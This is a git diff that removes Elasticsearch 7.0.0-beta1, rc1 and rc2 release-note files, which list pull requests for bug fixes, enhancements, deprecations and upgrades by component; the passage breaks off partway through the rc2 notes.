-* [API] spelling: repositories {es-pull}37053[#37053] (issue: {es-issue}37035[#37035])
-* SNAPSHOT: Use CancellableThreads to Abort {es-pull}35901[#35901] (issue: {es-issue}21759[#21759])
-* WIP: S3 client encryption {es-pull}30513[#30513] (issues: {es-issue}11128[#11128], {es-issue}16843[#16843])
-
-Suggesters::
-* Remove unused empty constructors from suggestions classes {es-pull}37295[#37295]
-* [API] spelling: likelihood {es-pull}37052[#37052] (issue: {es-issue}37035[#37035])
-
-ZenDiscovery::
-* Add elasticsearch-node detach-cluster tool {es-pull}37979[#37979]
-* Deprecate minimum_master_nodes {es-pull}37868[#37868]
-* Step down as master when configured out of voting configuration {es-pull}37802[#37802] (issue: {es-issue}37712[#37712])
-* Enforce cluster UUIDs {es-pull}37775[#37775]
-* Bubble exceptions up in ClusterApplierService {es-pull}37729[#37729]
-*  Use m_m_nodes from Zen1 master for Zen2 bootstrap {es-pull}37701[#37701]
-*  Add tool elasticsearch-node unsafe-bootstrap {es-pull}37696[#37696]
-* Report terms and version if cluster does not form {es-pull}37473[#37473]
-* Bootstrap a Zen2 cluster once quorum is discovered {es-pull}37463[#37463]
-* Zen2: Add join validation {es-pull}37203[#37203]
-* Publish cluster states in chunks {es-pull}36973[#36973]
-
-
-
-[[bug-7.0.0-beta1]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Don't load global ordinals with the `map` execution_hint {es-pull}37833[#37833] (issue: {es-issue}37705[#37705])
-* Issue #37303 - Invalid variance fix {es-pull}37384[#37384] (issue: {es-issue}37303[#37303])
-
-Allocation::
-* Fix _host based require filters {es-pull}38173[#38173]
-* ALLOC: Fail Stale Primary Alloc. Req. without Data {es-pull}37226[#37226] (issue: {es-issue}37098[#37098])
-
-Audit::
-* Fix NPE in Logfile Audit Filter {es-pull}38120[#38120] (issue: {es-issue}38097[#38097])
-
-Authentication::
-*  Enhance parsing of StatusCode in SAML Responses {es-pull}38628[#38628]
-* Limit token expiry to 1 hour maximum {es-pull}38244[#38244]
-* Fix expired token message in Exception header {es-pull}37196[#37196]
-* Fix NPE in CachingUsernamePasswordRealm {es-pull}36953[#36953] (issue: {es-issue}36951[#36951])
-
-CCR::
-* Prevent CCR recovery from missing documents {es-pull}38237[#38237]
-* Fix file reading in ccr restore service {es-pull}38117[#38117]
-* Correct argument names in update mapping/settings from leader {es-pull}38063[#38063]
-* Ensure changes requests return the latest mapping version {es-pull}37633[#37633]
-* Do not set fatal exception when shard follow task is stopped. {es-pull}37603[#37603]
-* Add fatal_exception field for ccr stats in monitoring mapping {es-pull}37563[#37563]
-* Do not add index event listener if CCR disabled {es-pull}37432[#37432]
-* When removing an AutoFollower also mark it as removed. {es-pull}37402[#37402] (issue: {es-issue}36761[#36761])
-* [CCR] Make shard follow tasks more resilient for restarts {es-pull}37239[#37239] (issue: {es-issue}37231[#37231])
-* [CCR] Resume follow Api should not require a request body {es-pull}37217[#37217] (issue: {es-issue}37022[#37022])
-* [CCR] Report error if auto follower tries auto follow a leader index with soft deletes disabled {es-pull}36886[#36886] (issue: {es-issue}33007[#33007])
-* Remote cluster license checker and no license info. {es-pull}36837[#36837] (issue: {es-issue}36815[#36815])
-* Make CCR resilient against missing remote cluster connections {es-pull}36682[#36682] (issues: {es-issue}36255[#36255], {es-issue}36667[#36667])
-* [CCR] AutoFollowCoordinator and follower index already created {es-pull}36540[#36540] (issue: {es-issue}33007[#33007])
-
-CRUD::
-* Fix Reindex from remote query logic {es-pull}36908[#36908]
-* Synchronize WriteReplicaResult callbacks {es-pull}36770[#36770]
-
-Distributed::
-* TransportVerifyShardBeforeCloseAction should force a flush {es-pull}38401[#38401] (issues: {es-issue}33888[#33888], {es-issue}37961[#37961])
-* Fix limit on retaining sequence number {es-pull}37992[#37992] (issue: {es-issue}37165[#37165])
-* Close Index API should force a flush if a sync is needed {es-pull}37961[#37961] (issues: {es-issue}33888[#33888], {es-issue}37426[#37426])
-* Force Refresh Listeners when Acquiring all Operation Permits {es-pull}36835[#36835]
-* Replaced the word 'shards' with 'replicas' in an error message. (#36234) {es-pull}36275[#36275] (issue: {es-issue}36234[#36234])
-
-Engine::
-* Subclass NIOFSDirectory instead of using FileSwitchDirectory {es-pull}37140[#37140] (issues: {es-issue}36668[#36668], {es-issue}37111[#37111])
-
-Features/ILM::
-* Preserve ILM operation mode when creating new lifecycles {es-pull}38134[#38134] (issues: {es-issue}38229[#38229], {es-issue}38230[#38230])
-* Retry ILM steps that fail due to SnapshotInProgressException {es-pull}37624[#37624] (issues: {es-issue}37541[#37541], {es-issue}37552[#37552])
-* Remove `indexing_complete` when removing policy {es-pull}36620[#36620]
-
-Features/Indices APIs::
-* Reject delete index requests with a body {es-pull}37501[#37501] (issue: {es-issue}8217[#8217])
-* Fix duplicate phrase in shrink/split error message {es-pull}36734[#36734] (issue: {es-issue}36729[#36729])
-* Get Aliases with wildcard exclusion expression {es-pull}34230[#34230] (issues: {es-issue}33518[#33518], {es-issue}33805[#33805], {es-issue}34144[#34144])
-
-Features/Ingest::
-* Support unknown fields in ingest pipeline map configuration {es-pull}38352[#38352] (issue: {es-issue}36938[#36938])
-* Ingest node - user_agent, move device parsing to an object {es-pull}38115[#38115] (issues: {es-issue}37329[#37329], {es-issue}38094[#38094])
-* ingest: fix on_failure with Drop processor {es-pull}36686[#36686] (issue: {es-issue}36151[#36151])
-* ingest: support default pipelines + bulk upserts {es-pull}36618[#36618] (issue: {es-issue}36219[#36219])
-
-Features/Java High Level REST Client::
-* Update IndexTemplateMetadata to allow unknown fields {es-pull}38448[#38448] (issue: {es-issue}36938[#36938])
-* `if_seq_no` and `if_primary_term` parameters aren't wired correctly in REST Client's CRUD API {es-pull}38411[#38411]
-* Update Rollup Caps to allow unknown fields {es-pull}38339[#38339] (issue: {es-issue}36938[#36938])
-* Fix ILM explain response to allow unknown fields {es-pull}38054[#38054] (issue: {es-issue}36938[#36938])
-* Fix ILM status to allow unknown fields {es-pull}38043[#38043] (issue: {es-issue}36938[#36938])
-* Fix ILM Lifecycle Policy to allow unknown fields {es-pull}38041[#38041] (issue: {es-issue}36938[#36938])
-* Update authenticate to allow unknown fields {es-pull}37713[#37713] (issue: {es-issue}36938[#36938])
-* Update verify repository to allow unknown fields {es-pull}37619[#37619] (issue: {es-issue}36938[#36938])
-* Update get users to allow unknown fields {es-pull}37593[#37593] (issue: {es-issue}36938[#36938])
-* Update Execute Watch to allow unknown fields {es-pull}37498[#37498] (issue: {es-issue}36938[#36938])
-* Update Put Watch to allow unknown fields {es-pull}37494[#37494] (issue: {es-issue}36938[#36938])
-* Update Delete Watch to allow unknown fields {es-pull}37435[#37435] (issue: {es-issue}36938[#36938])
-* Fix rest reindex test for IPv4 addresses {es-pull}37310[#37310]
-* Fix weighted_avg parser not found for RestHighLevelClient {es-pull}37027[#37027] (issue: {es-issue}36861[#36861])
-
-Features/Java Low Level REST Client::
-* Fix potential IllegalCapacityException in LLRC when selecting nodes {es-pull}37821[#37821]
-
-Features/Monitoring::
-* Allow built-in monitoring_user role to call GET _xpack API {es-pull}38060[#38060] (issue: {es-issue}37970[#37970])
-
-Features/Watcher::
-* Support merge nested Map in list for JIRA configurations {es-pull}37634[#37634] (issue: {es-issue}30068[#30068])
-* Watcher accounts constructed lazily {es-pull}36656[#36656]
-* Ensures watch definitions are valid json {es-pull}30692[#30692] (issue: {es-issue}29746[#29746])
-
-Geo::
-* Fix GeoHash PrefixTree BWC {es-pull}38584[#38584] (issue: {es-issue}38494[#38494])
-* Geo: Do not normalize the longitude with value -180 for Lucene shapes {es-pull}37299[#37299] (issue: {es-issue}37297[#37297])
-
-Infra/Core::
-* Bubble-up exceptions from scheduler {es-pull}38317[#38317] (issue: {es-issue}38014[#38014])
-* Core: Revert back to joda's multi date formatters {es-pull}36814[#36814] (issues: {es-issue}36447[#36447], {es-issue}36602[#36602])
-* Propagate Errors in executors to uncaught exception handler {es-pull}36137[#36137] (issue: {es-issue}28667[#28667])
-
-Infra/Packaging::
-* Remove NOREPLACE for /etc/elasticsearch in rpm and deb {es-pull}37839[#37839]
-* Packaging: Update marker used to allow ELASTIC_PASSWORD {es-pull}37243[#37243] (issue: {es-issue}37240[#37240])
-* Packaging: Remove permission editing in postinst {es-pull}37242[#37242] (issue: {es-issue}37143[#37143])
-
-Infra/REST API::
-* Reject all requests that have an unconsumed body {es-pull}37504[#37504] (issues: {es-issue}30792[#30792], {es-issue}37501[#37501], {es-issue}8217[#8217])
-
-Infra/Scripting::
-* Fix Painless void return bug {es-pull}38046[#38046]
-
-Infra/Settings::
-* Fix setting by time unit {es-pull}37192[#37192]
-* Fix handling of fractional byte size value settings {es-pull}37172[#37172]
-* Fix handling of fractional time value settings {es-pull}37171[#37171]
-
-Machine Learning::
-* [ML] Report index unavailable instead of waiting for lazy node {es-pull}38423[#38423]
-* ML: Fix error race condition on stop _all datafeeds and close _all jobs {es-pull}38113[#38113] (issue: {es-issue}37959[#37959])
-* [ML] Update ML results mappings on process start {es-pull}37706[#37706] (issue: {es-issue}37607[#37607])
-* [ML] Prevent submit after autodetect worker is stopped {es-pull}37700[#37700] (issue: {es-issue}37108[#37108])
-* [ML] Fix ML datafeed CCS with wildcarded cluster name {es-pull}37470[#37470] (issue: {es-issue}36228[#36228])
-* [ML] Update error message for process update {es-pull}37363[#37363]
-* [ML] Wait for autodetect to be ready in the datafeed {es-pull}37349[#37349] (issues: {es-issue}36810[#36810], {es-issue}37227[#37227])
-* [ML] Stop datafeeds running when their jobs are stale {es-pull}37227[#37227] (issue: {es-issue}36810[#36810])
-* [ML] Order GET job stats response by job id {es-pull}36841[#36841] (issue: {es-issue}36683[#36683])
-* [ML] Make GetJobStats work with arbitrary wildcards and groups {es-pull}36683[#36683] (issue: {es-issue}34745[#34745])
-
-Mapping::
-* Treat put-mapping calls with `_doc` as a top-level key as typed calls. {es-pull}38032[#38032]
-* Correct deprec log in RestGetFieldMappingAction {es-pull}37843[#37843] (issue: {es-issue}37667[#37667])
-* Restore a noop _all metadata field for 6x indices {es-pull}37808[#37808] (issue: {es-issue}37429[#37429])
-* Make sure PutMappingRequest accepts content types other than JSON. {es-pull}37720[#37720]
-* Make sure to use the resolved type in DocumentMapperService#extractMappings. {es-pull}37451[#37451] (issue: {es-issue}36811[#36811])
-* MAPPING: Improve Precision for scaled_float {es-pull}37169[#37169] (issue: {es-issue}32570[#32570])
-* Make sure to accept empty unnested mappings in create index requests. {es-pull}37089[#37089]
-* Stop automatically nesting mappings in index creation requests. {es-pull}36924[#36924]
-* Rewrite SourceToParse with resolved docType {es-pull}36921[#36921] (issues: {es-issue}35790[#35790], {es-issue}36769[#36769])
-
-Network::
-* Reload SSL context on file change for LDAP {es-pull}36937[#36937] (issues: {es-issue}30509[#30509], {es-issue}36923[#36923])
-* Do not resolve addresses in remote connection info {es-pull}36671[#36671] (issue: {es-issue}35658[#35658])
-
-Ranking::
-* QueryRescorer should keep the window size when rewriting {es-pull}36836[#36836]
-
-Recovery::
-* RecoveryMonitor#lastSeenAccessTime should be volatile {es-pull}36781[#36781]
-
-Rollup::
-* Fix Rollup's metadata parser {es-pull}36791[#36791] (issue: {es-issue}36726[#36726])
-* Fix rollup search statistics {es-pull}36674[#36674]
-
-SQL::
-* SQL: Prevent grouping over grouping functions {es-pull}38649[#38649] (issue: {es-issue}38308[#38308])
-* SQL: Relax StackOverflow circuit breaker for constants {es-pull}38572[#38572] (issue: {es-issue}38571[#38571])
-* SQL: Fix issue with IN not resolving to underlying keyword field {es-pull}38440[#38440] (issue: {es-issue}38424[#38424])
-* SQL: change the Intervals milliseconds precision to 3 digits {es-pull}38297[#38297] (issue: {es-issue}37423[#37423])
-* SQL: Fix esType for DATETIME/DATE and INTERVALS {es-pull}38179[#38179] (issue: {es-issue}38051[#38051])
-* SQL: Added SSL configuration options tests {es-pull}37875[#37875] (issue: {es-issue}37711[#37711])
-* SQL: Fix casting from date to numeric type to use millis {es-pull}37869[#37869] (issue: {es-issue}37655[#37655])
-* SQL: Fix BasicFormatter NPE {es-pull}37804[#37804]
-* SQL: Return Intervals in SQL format for CLI {es-pull}37602[#37602] (issues: {es-issue}29970[#29970], {es-issue}36186[#36186], {es-issue}36432[#36432])
-* SQL: fix object extraction from sources {es-pull}37502[#37502] (issue: {es-issue}37364[#37364])
-* SQL: Fix issue with field names containing "." {es-pull}37364[#37364] (issue: {es-issue}37128[#37128])
-* SQL: Fix bug regarding alias fields with dots {es-pull}37279[#37279] (issue: {es-issue}37224[#37224])
-* SQL: Proper handling of COUNT(field_name) and COUNT(DISTINCT field_name) {es-pull}37254[#37254] (issue: {es-issue}30285[#30285])
-* SQL: fix COUNT DISTINCT filtering {es-pull}37176[#37176] (issue: {es-issue}37086[#37086])
-* SQL: Fix issue with wrong NULL optimization {es-pull}37124[#37124] (issue: {es-issue}35872[#35872])
-* SQL: Fix issue with complex expression as args of PERCENTILE/_RANK {es-pull}37102[#37102] (issue: {es-issue}37099[#37099])
-* SQL: Handle the bwc Joda ZonedDateTime scripting class in Painless {es-pull}37024[#37024] (issue: {es-issue}37023[#37023])
-* SQL: Fix bug regarding histograms usage in scripting {es-pull}36866[#36866]
-* SQL: Fix issue with always false filter involving functions {es-pull}36830[#36830] (issue: {es-issue}35980[#35980])
-* SQL: protocol returns ISO 8601 String formatted dates instead of Long for JDBC/ODBC requests {es-pull}36800[#36800] (issue: {es-issue}36756[#36756])
-* SQL: Enhance Verifier to prevent aggregate or grouping functions from {es-pull}36799[#36799] (issue: {es-issue}36798[#36798])
-* SQL: Fix translation of LIKE/RLIKE keywords {es-pull}36672[#36672] (issues: {es-issue}36039[#36039], {es-issue}36584[#36584])
-* SQL: Scripting support for casting functions CAST and CONVERT {es-pull}36640[#36640] (issue: {es-issue}36061[#36061])
-* SQL: Concat should be always not nullable {es-pull}36601[#36601] (issue: {es-issue}36169[#36169])
-* SQL: Fix issue with complex HAVING and GROUP BY ordinal {es-pull}36594[#36594] (issue: {es-issue}36059[#36059])
-
-Search::
-* Look up connection using the right cluster alias when releasing contexts {es-pull}38570[#38570]
-* Fix fetch source option in expand search phase {es-pull}37908[#37908] (issue: {es-issue}23829[#23829])
-* Change `rational` to `saturation` in script_score {es-pull}37766[#37766] (issue: {es-issue}37714[#37714])
-* Throw if two inner_hits have the same name {es-pull}37645[#37645] (issue: {es-issue}37584[#37584])
-* Ensure either success or failure path for SearchOperationListener is called {es-pull}37467[#37467] (issue: {es-issue}37185[#37185])
-* `query_string` should use indexed prefixes {es-pull}36895[#36895]
-* Avoid duplicate types deprecation messages in search-related APIs. {es-pull}36802[#36802]
-
-Security::
-* Fix exit code for Security CLI tools  {es-pull}37956[#37956] (issue: {es-issue}37841[#37841])
-* Fix potential NPE in UsersTool {es-pull}37660[#37660]
-
-Snapshot/Restore::
-* Fix Concurrent Snapshot Ending And Stabilize Snapshot Finalization {es-pull}38368[#38368] (issue: {es-issue}38226[#38226])
-* Fix Two Races that Lead to Stuck Snapshots {es-pull}37686[#37686] (issues: {es-issue}32265[#32265], {es-issue}32348[#32348])
-* Fix Race in Concurrent Snapshot Delete and Create {es-pull}37612[#37612] (issue: {es-issue}37581[#37581])
-* Streamline S3 Repository- and Client-Settings {es-pull}37393[#37393]
-
-Suggesters::
-* Fix duplicate removal when merging completion suggestions {es-pull}36996[#36996] (issue: {es-issue}35836[#35836])
-
-Task Management::
-* Un-assign persistent tasks as nodes exit the cluster {es-pull}37656[#37656]
-
-ZenDiscovery::
-* Fix size of rolling-upgrade bootstrap config {es-pull}38031[#38031]
-* Always return metadata version if metadata is requested {es-pull}37674[#37674]
-* [Zen2] Elect freshest master in upgrade {es-pull}37122[#37122] (issue: {es-issue}40[#40])
-* Fix cluster state persistence for single-node discovery {es-pull}36825[#36825]
-
-
-
-[[regression-7.0.0-beta1]]
-[discrete]
-=== Regressions
-
-Infra/Core::
-* Restore date aggregation performance in UTC case {es-pull}38221[#38221] (issue: {es-issue}37826[#37826])
-* Speed up converting of temporal accessor to zoned date time {es-pull}37915[#37915] (issue: {es-issue}37826[#37826])
-
-Mapping::
-* Performance fix. Reduce deprecation calls for the same bulk request {es-pull}37415[#37415] (issue: {es-issue}37411[#37411])
-
-
-
-[[upgrade-7.0.0-beta1]]
-[discrete]
-=== Upgrades
-
-Engine::
-* Upgrade to lucene-8.0.0-snapshot-83f9835. {es-pull}37668[#37668]
-
-Machine Learning::
-* [ML] No need to add state doc mapping on job open in 7.x {es-pull}37759[#37759]
-
-
-
diff --git a/docs/reference/release-notes/7.0.0-rc1.asciidoc b/docs/reference/release-notes/7.0.0-rc1.asciidoc
deleted file mode 100644
index 80b5190db4a..00000000000
--- a/docs/reference/release-notes/7.0.0-rc1.asciidoc
+++ /dev/null
@@ -1,193 +0,0 @@
-[[release-notes-7.0.0-rc1]]
-== {es} version 7.0.0-rc1
-
-Also see <<breaking-changes-7.0,Breaking changes in 7.0.0-rc1>>.
-
-[[breaking-7.0.0-rc1]]
-[discrete]
-=== Breaking changes
-
-Distributed::
-* Remove cluster state size {es-pull}40061[#40061] (issues: {es-issue}39806[#39806], {es-issue}39827[#39827], {es-issue}39951[#39951], {es-issue}40016[#40016])
-
-Features/Features::
-* Remove Migration Upgrade and Assistance APIs {es-pull}40075[#40075] (issue: {es-issue}40014[#40014])
-
-
-
-[[deprecation-7.0.0-rc1]]
-[discrete]
-=== Deprecations
-
-Cluster Coordination::
-* Deprecate size in cluster state response {es-pull}39951[#39951] (issue: {es-issue}39806[#39806])
-
-Infra/Packaging::
-* Deprecate fallback to java on PATH {es-pull}37990[#37990]
-
-
-
-[[feature-7.0.0-rc1]]
-[discrete]
-=== New features
-
-Allocation::
-* Node repurpose tool {es-pull}39403[#39403] (issues: {es-issue}37347[#37347], {es-issue}37748[#37748])
-
-Security::
-* Switch internal security index to ".security-7" {es-pull}39337[#39337] (issue: {es-issue}39284[#39284])
-
-
-
-[[enhancement-7.0.0-rc1]]
-[discrete]
-=== Enhancements
-
-CCR::
-* Reduce retention lease sync intervals {es-pull}40302[#40302]
-* Renew retention leases while following {es-pull}39335[#39335] (issues: {es-issue}37165[#37165], {es-issue}38718[#38718])
-* Reduce refresh when lookup term in FollowingEngine {es-pull}39184[#39184]
-* Integrate retention leases to recovery from remote {es-pull}38829[#38829] (issue: {es-issue}37165[#37165])
-* Enable removal of retention leases {es-pull}38751[#38751] (issue: {es-issue}37165[#37165])
-
-Client::
-* Fixed required fields and paths list {es-pull}39358[#39358]
-
-Discovery-Plugins::
-* Adds connect and read timeouts to discovery-gce {es-pull}28193[#28193] (issue: {es-issue}24313[#24313])
-
-Distributed::
-* Introduce retention lease actions {es-pull}38756[#38756] (issue: {es-issue}37165[#37165])
-* Add dedicated retention lease exceptions {es-pull}38754[#38754] (issue: {es-issue}37165[#37165])
-* Copy retention leases when trim unsafe commits {es-pull}37995[#37995] (issue: {es-issue}37165[#37165])
-
-Docs Infrastructure::
-* Align generated release notes with doc standards {es-pull}39234[#39234] (issue: {es-issue}39155[#39155])
-
-Engine::
-* Explicitly advance max_seq_no before indexing {es-pull}39473[#39473] (issue: {es-issue}38879[#38879])
-
-Infra/Core::
-* Add details about what acquired the shard lock last {es-pull}38807[#38807] (issue: {es-issue}30290[#30290])
-
-Infra/Packaging::
-* Use bundled JDK in Docker images {es-pull}40238[#40238]
-* Upgrade bundled JDK and Docker images to JDK 12 {es-pull}40229[#40229]
-* Bundle java in distributions {es-pull}38013[#38013] (issue: {es-issue}31845[#31845])
-
-Infra/Settings::
-* Provide a clearer error message on keystore add {es-pull}39327[#39327] (issue: {es-issue}39324[#39324])
-
-Percolator::
-* Make the `type` parameter optional when percolating existing documents. {es-pull}39987[#39987] (issue: {es-issue}39963[#39963])
-* Add support for selecting percolator query candidate matches containing geo_point based queries {es-pull}26040[#26040]
-
-SQL::
-* Enhance checks for inexact fields {es-pull}39427[#39427] (issue: {es-issue}38501[#38501])
-* Change the default precision for CURRENT_TIMESTAMP function {es-pull}39391[#39391] (issue: {es-issue}39288[#39288])
-
-
-
-[[bug-7.0.0-rc1]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Skip sibling pipeline aggregators reduction during non-final reduce {es-pull}40101[#40101] (issue: {es-issue}40059[#40059])
-* Extend nextDoc to delegate to the wrapped doc-value iterator for date_nanos {es-pull}39176[#39176] (issue: {es-issue}39107[#39107])
-* Only create MatrixStatsResults on final reduction {es-pull}38130[#38130] (issue: {es-issue}37587[#37587])
-
-Authentication::
-* Allow non super users to create API keys {es-pull}40028[#40028] (issue: {es-issue}40029[#40029])
-* Use consistent view of realms for authentication {es-pull}38815[#38815] (issue: {es-issue}30301[#30301])
-
-CCR::
-* Safe publication of AutoFollowCoordinator {es-pull}40153[#40153] (issue: {es-issue}38560[#38560])
-* Enable reading auto-follow patterns from x-content {es-pull}40130[#40130] (issue: {es-issue}40128[#40128])
-* Stop auto-followers on shutdown {es-pull}40124[#40124]
-* Protect against the leader index being removed {es-pull}39351[#39351] (issue: {es-issue}39308[#39308])
-* Handle the fact that `ShardStats` instance may have no commit or seqno stats {es-pull}38782[#38782] (issue: {es-issue}38779[#38779])
-* Fix LocalIndexFollowingIT#testRemoveRemoteConnection() test {es-pull}38709[#38709] (issue: {es-issue}38695[#38695])
-
-CRUD::
-* Cascading primary failure lead to MSU too low {es-pull}40249[#40249]
-
-Cluster Coordination::
-* Fix node tool cleanup {es-pull}39389[#39389]
-* Avoid serialising state if it was already serialised {es-pull}39179[#39179]
-
-Distributed::
-* Ignore waitForActiveShards when syncing leases {es-pull}39224[#39224] (issue: {es-issue}39089[#39089])
-* Fix synchronization in LocalCheckpointTracker#contains {es-pull}38755[#38755] (issues: {es-issue}33871[#33871], {es-issue}38633[#38633])
-
-Engine::
-* Bubble up exception when processing NoOp {es-pull}39338[#39338] (issue: {es-issue}38898[#38898])
-* ReadOnlyEngine should update translog recovery state information {es-pull}39238[#39238]
-
-Features/Features::
-* Only count some fields types for deprecation check {es-pull}40166[#40166]
-
-Features/ILM::
-* Handle failure to release retention leases in ILM {es-pull}39281[#39281] (issue: {es-issue}39181[#39181])
-
-Features/Watcher::
-* Use non-ILM template setting up watch history template & ILM disabled {es-pull}39325[#39325] (issue: {es-issue}38805[#38805])
-* Only flush Watcher's bulk processor if Watcher is enabled {es-pull}38803[#38803] (issue: {es-issue}38798[#38798])
-
-Infra/Core::
-* Correct name of basic_date_time_no_millis {es-pull}39367[#39367]
-
-Infra/Packaging::
-* Some elasticsearch-cli tools could not be run not from ES_HOME {es-pull}39937[#39937]
-* Obsolete pre 7.0 noarch package in rpm {es-pull}39472[#39472] (issue: {es-issue}39414[#39414])
-* Suppress error message when `/proc/sys/vm/max_map_count` is not exists. {es-pull}35933[#35933]
-
-Infra/REST API::
-* Fix #38623 remove xpack namespace REST API {es-pull}38625[#38625]
-* Remove the "xpack" namespace from the REST API {es-pull}38623[#38623]
-
-Recovery::
-* Create retention leases file during recovery {es-pull}39359[#39359] (issue: {es-issue}37165[#37165])
-
-SQL::
-* Add missing handling of IP field in JDBC {es-pull}40384[#40384] (issue: {es-issue}40358[#40358])
-* Fix metric aggs on date/time to not return double {es-pull}40377[#40377] (issues: {es-issue}39492[#39492], {es-issue}40376[#40376])
-* CAST supports both SQL and ES types {es-pull}40365[#40365] (issue: {es-issue}40282[#40282])
-* Fix RLIKE bug and improve testing for RLIKE statement {es-pull}40354[#40354] (issues: {es-issue}34609[#34609], {es-issue}39931[#39931])
-* Unwrap the first value in an array in case of array leniency {es-pull}40318[#40318] (issue: {es-issue}40296[#40296])
-* Preserve original source for cast/convert function {es-pull}40271[#40271] (issue: {es-issue}40239[#40239])
-* Fix LIKE function equality by considering its pattern as well {es-pull}40260[#40260] (issue: {es-issue}39931[#39931])
-* Fix issue with optimization on queries with ORDER BY/LIMIT {es-pull}40256[#40256] (issue: {es-issue}40211[#40211])
-* Rewrite ROUND and TRUNCATE functions with a different optional parameter handling method {es-pull}40242[#40242] (issue: {es-issue}40001[#40001])
-* Fix issue with getting DATE type in JDBC {es-pull}40207[#40207]
-* Fix issue with date columns returned always in UTC {es-pull}40163[#40163] (issue: {es-issue}40152[#40152])
-* Add multi_value_field_leniency inside FieldHitExtractor {es-pull}40113[#40113] (issue: {es-issue}39700[#39700])
-* Fix incorrect ordering of groupings (GROUP BY) based on orderings (ORDER BY) {es-pull}40087[#40087] (issue: {es-issue}39956[#39956])
-* Fix bug with JDBC timezone setting and DATE type {es-pull}39978[#39978] (issue: {es-issue}39915[#39915])
-* Use underlying exact field for LIKE/RLIKE {es-pull}39443[#39443] (issue: {es-issue}39442[#39442])
-
-Search::
-* Serialize top-level pipeline aggs as part of InternalAggregations {es-pull}40177[#40177] (issues: {es-issue}40059[#40059], {es-issue}40101[#40101])
-* CCS: Skip empty search hits when minimizing round-trips {es-pull}40098[#40098] (issues: {es-issue}32125[#32125], {es-issue}40067[#40067])
-* CCS: Disable minimizing round-trips when dfs is requested {es-pull}40044[#40044] (issue: {es-issue}32125[#32125])
-
-
-
-[[upgrade-7.0.0-rc1]]
-[discrete]
-=== Upgrades
-
-Discovery-Plugins::
-* Bump jackson-databind version for AWS SDK {es-pull}39183[#39183]
-
-Engine::
-* Upgrade to Lucene 8.0.0-snapshot-ff9509a8df {es-pull}39350[#39350]
-* Upgrade to Lucene 8.0.0 {es-pull}39992[#39992] (issue: {es-issue}39640[#39640])
-
-Features/Ingest::
-* Bump jackson-databind version for ingest-geoip {es-pull}39182[#39182]
-
-Security::
-* Upgrade the bouncycastle dependency to 1.61 {es-pull}40017[#40017] (issue: {es-issue}40011[#40011])
-
-
diff --git a/docs/reference/release-notes/7.0.0-rc2.asciidoc b/docs/reference/release-notes/7.0.0-rc2.asciidoc
deleted file mode 100644
index 4397d457b9e..00000000000
--- a/docs/reference/release-notes/7.0.0-rc2.asciidoc
+++ /dev/null
@@ -1,218 +0,0 @@
-[[release-notes-7.0.0-rc2]]
-== {es} version 7.0.0-rc2
-
-Also see <<breaking-changes-7.0,Breaking changes in 7.0.0>>.
-
-[[deprecation-7.0.0-rc2]]
-[discrete]
-=== Deprecations
-
-Analysis::
-* Remove `nGram` and  `edgeNGram` token filter names (#38911) {es-pull}39070[#39070] (issues: {es-issue}30209[#30209], {es-issue}38911[#38911])
-
-Graph::
-* Deprecate types in `_graph/explore` calls. {es-pull}40466[#40466]
-
-
-
-[[enhancement-7.0.0-rc2]]
-[discrete]
-=== Enhancements
-
-CCR::
-* Introduce forget follower API {es-pull}39718[#39718] (issue: {es-issue}37165[#37165])
-
-Cluster Coordination::
-* Remove timeout task after completing cluster state publication {es-pull}40411[#40411]
-* Use default discovery implementation for single-node discovery {es-pull}40036[#40036]
-* Do not log unsuccessful join attempt each time {es-pull}39756[#39756]
-
-Distributed::
-* Allow retention lease operations under blocks {es-pull}39089[#39089] (issues: {es-issue}34648[#34648], {es-issue}37165[#37165])
-* Remove retention leases when unfollowing {es-pull}39088[#39088] (issues: {es-issue}34648[#34648], {es-issue}37165[#37165])
-* Introduce retention lease state file {es-pull}39004[#39004] (issues: {es-issue}37165[#37165], {es-issue}38588[#38588], {es-issue}39032[#39032])
-* Enable soft-deletes by default for 7.0+ indices {es-pull}38929[#38929] (issue: {es-issue}36141[#36141])
-
-Engine::
-* Also mmap cfs files for hybridfs {es-pull}38940[#38940] (issue: {es-issue}36668[#36668])
-
-Infra/Core::
-* Enhancements to IndicesQueryCache. {es-pull}39099[#39099] (issue: {es-issue}37117[#37117])
-
-Infra/Packaging::
-* Add no-jdk distributions {es-pull}39882[#39882]
-
-Machine Learning::
-* [ML] Allow stop unassigned datafeed and relax unset upgrade mode wait {es-pull}39034[#39034]
-
-Mapping::
-* Introduce a parameter suppress_types_warnings. {es-pull}38923[#38923]
-
-Recovery::
-* Do not wait for advancement of checkpoint in recovery {es-pull}39006[#39006] (issues: {es-issue}38949[#38949], {es-issue}39000[#39000])
-
-SQL::
-* SQL: add "fuzziness" option to QUERY and MATCH function predicates {es-pull}40529[#40529] (issue: {es-issue}40495[#40495])
-* SQL: add "validate.properties" property to JDBC's allowed list of settings {es-pull}39050[#39050] (issue: {es-issue}38068[#38068])
-
-Search::
-* Avoid BytesRef's copying in ScriptDocValues's Strings {es-pull}29581[#29581] (issue: {es-issue}29567[#29567])
-
-Security::
-* Types removal security index template {es-pull}39705[#39705] (issue: {es-issue}38637[#38637])
-* Types removal security index template {es-pull}39542[#39542] (issue: {es-issue}38637[#38637])
-
-Snapshot/Restore::
-* Mark Deleted Snapshot Directories with Tombstones {es-pull}40228[#40228] (issue: {es-issue}39852[#39852])
-
-Store::
-* Add option to force load term dict into memory {es-pull}39741[#39741]
-
-Features/Monitoring::
-* Remove types from internal monitoring templates and bump to api 7 {es-pull}39888[#39888] (issue: {es-issue}38637[#38637])
-
-Features/Watcher::
-* Remove the index type from internal watcher indexes {es-pull}39761[#39761] (issue: {es-issue}38637[#38637])
-
-Infra/Core::
-* Change zone formatting for all printers {es-pull}39568[#39568] (issue: {es-issue}38471[#38471])
-
-
-[[bug-7.0.0-rc2]]
-[discrete]
-=== Bug fixes
-
-Analysis::
-* Fix PreConfiguredTokenFilters getSynonymFilter() implementations {es-pull}38839[#38839] (issue: {es-issue}38793[#38793])
-
-Audit::
-* LoggingAuditTrail correctly handle ReplicatedWriteRequest {es-pull}39925[#39925] (issue: {es-issue}39555[#39555])
-
-Authentication::
-* Correct authenticate response for API key {es-pull}39684[#39684]
-* Fix security index auto-create and state recovery race {es-pull}39582[#39582]
-
-CCR::
-* Fix shard follow task startup error handling {es-pull}39053[#39053] (issue: {es-issue}38779[#38779])
-* Filter out upgraded version index settings when starting index following {es-pull}38838[#38838] (issue: {es-issue}38835[#38835])
-
-CRUD::
